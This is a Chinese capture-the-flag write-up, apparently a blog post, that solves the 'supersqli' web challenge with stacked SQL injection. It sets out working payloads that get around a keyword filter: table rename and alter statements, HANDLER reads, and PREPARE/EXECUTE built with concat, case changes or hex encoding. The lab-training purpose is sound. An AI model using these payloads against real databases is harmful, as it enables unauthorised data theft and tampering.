• supersqli


    supersqli

    测试

    1回显正常

    1 and 1=2回显正常 ,说明是字符型注入

    1'回显报错

    1' -- +回显正常,说明后台是以 select * from table_name where id=的形式查询

    爆列数

    1' order by 1 -- + 回显正常

    1' order by 2 -- +回显正常

    1' order by 3 -- + 回显报错,说明列数为2

    然后按一般套路,接下来是union select 联合查询,但是返回的是

    preg_match("/select|update|delete|drop|insert|where|./i",$inject);

    说明过滤了以上的字符,select被过滤导致我们无法使用联合查询。

    这里没有过滤分号,我们试着用堆叠注入

    爆表名

    1';show tables;-- +

    表名: `1919810931114514`,"words"

    这里注意以纯数字构成的表名,需要用飘号引起来(包括sql语句的时候,也要如此)。

    爆列名

    1';show columns from words;-- +

    1';show columns from `1919810931114514`;-- +
    

    words表

    id int(10) NO

    data varchar(20) NO

    1919810931114514表

    flag varchar(100) NO

    思路一

    这里我们可以得知回显的内容是words表中的内容,并且这时没有过滤rename.我们可以把words表改成别的名字,这里改成word表,然后将1919810931114514表改成words表,这时1919810931114514表只有flag一个字段,再利用alter向1919810931114514表添加一个id列名,这时就符合了后台查询语句

    select * from words where id=

    注意,这时我们flag对应id的值为空此时,所以我们要用or 1=1来爆出全部数据,即flag.

    payload:

    1';rename table words to word;rename table `1919810931114514` to words;alter table words add id int(3);-- +
    

    思路二

    我们观察到,没有过滤handler.所以我们尝试使用handler.

    mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

    handler 基本语法

    handler table_name open;
    handler table_name read first;
    handler table_name read next;
    handler table_name close;
    

    handler用法参考博客

    构造payload

    1';handler `1919810931114514` open;handler `1919810931114514` read first;-- +
    

    思路三

    这里没有过滤set,prepare,execute,所以我们尝试使用预编译.

    预处理 SQL
      但是,绝大多数情况下,某需求某一条SQL 语句可能会被反复调用执行,或者每次执行的时候只有个别的值不同(比如 select 的 where 子句值不同,update 的 set 子句值不同,insert 的 values 值不同)。如果每次都需要经过上面的词法语义解析、语句优化、制定执行计划等,则效率就明显不行了。
      所谓预编译语句就是将此类 SQL 语句中的值用占位符替代,可以视为将 SQL 语句模板化或者说参数化,一般称这类语句叫Prepared Statements。
      预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。

    具体事例可参考https://www.runoob.com/php/php-mysql-prepared-statements.html

    我们这里所谓的用预编译并没有跟上述描述的那样使用占位符,而是指的是使用了预编译的处理语句.

    我们通过set和concat来绕过select

    set @sql=concat('sele','ct * from `1919810931114514`');
    

    set 的变量名前面要加个@,若不加,虽然可以执行命令,但是会报错,@是定义一个用户自定义变量的意思

    通过prepare来定义一个模板(这个模板没有占位符,而是直接具体的)

    prepare aaa from @sql;
    

    通过execute来执行模板

    execute aaa;
    

    构造payload

    1';set @sql=concat('sele','ct * from `1919810931114514`');prepare aa from @sql;execute aa;- -+
    

    这时返回

    strstr($inject, "set") && strstr($inject, "prepare")
    

    strstr函数会返回匹配到字符后面包括字符的所有字符。

    如:

    strstr('hello world!','world')  //会返回world!
    

    因为这个函数不区分大小写,所以我们使用大小写绕过

    1';Set @sql=concat('sele','ct * from `1919810931114514`');prepare aa from @sql;Execute aa;- -+
    

    思路四

    这里依然使用预编译,只不过不用concat绕过select,而是用16进制来进行绕过

    select hex('select * from `1919810931114514`');
    

    利用mysql自带hex函数得到1919810931114514的十六进制

    73656C656374202A2066726F6D20603139313938313039333131313435313460

    这里为什么不用那些十六进制网站,因为有些网站转换出来的16进制和我们用hex函数转换出来的不一样,而实际上hex转换出来的才有用,所以我们尽量使用hex函数得出十六进制

    payload:

    1';Set @sql=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;Prepare a from @sql;execute a;-- +
    
  • 相关阅读:
    4.14打印特殊图案
    4.13十进制/二进制转换器
    4.12程序运行时间
    4.11 计算文件的大小
    4.10文件的读写
    4.9位运算
    CyclicBarrier
    tar 命令
    MySQL 常用函数介绍
    mysql 表转 java 实体 sql
  • 原文地址:https://www.cnblogs.com/NineOne/p/13843432.html
Copyright © 2020-2023  润新知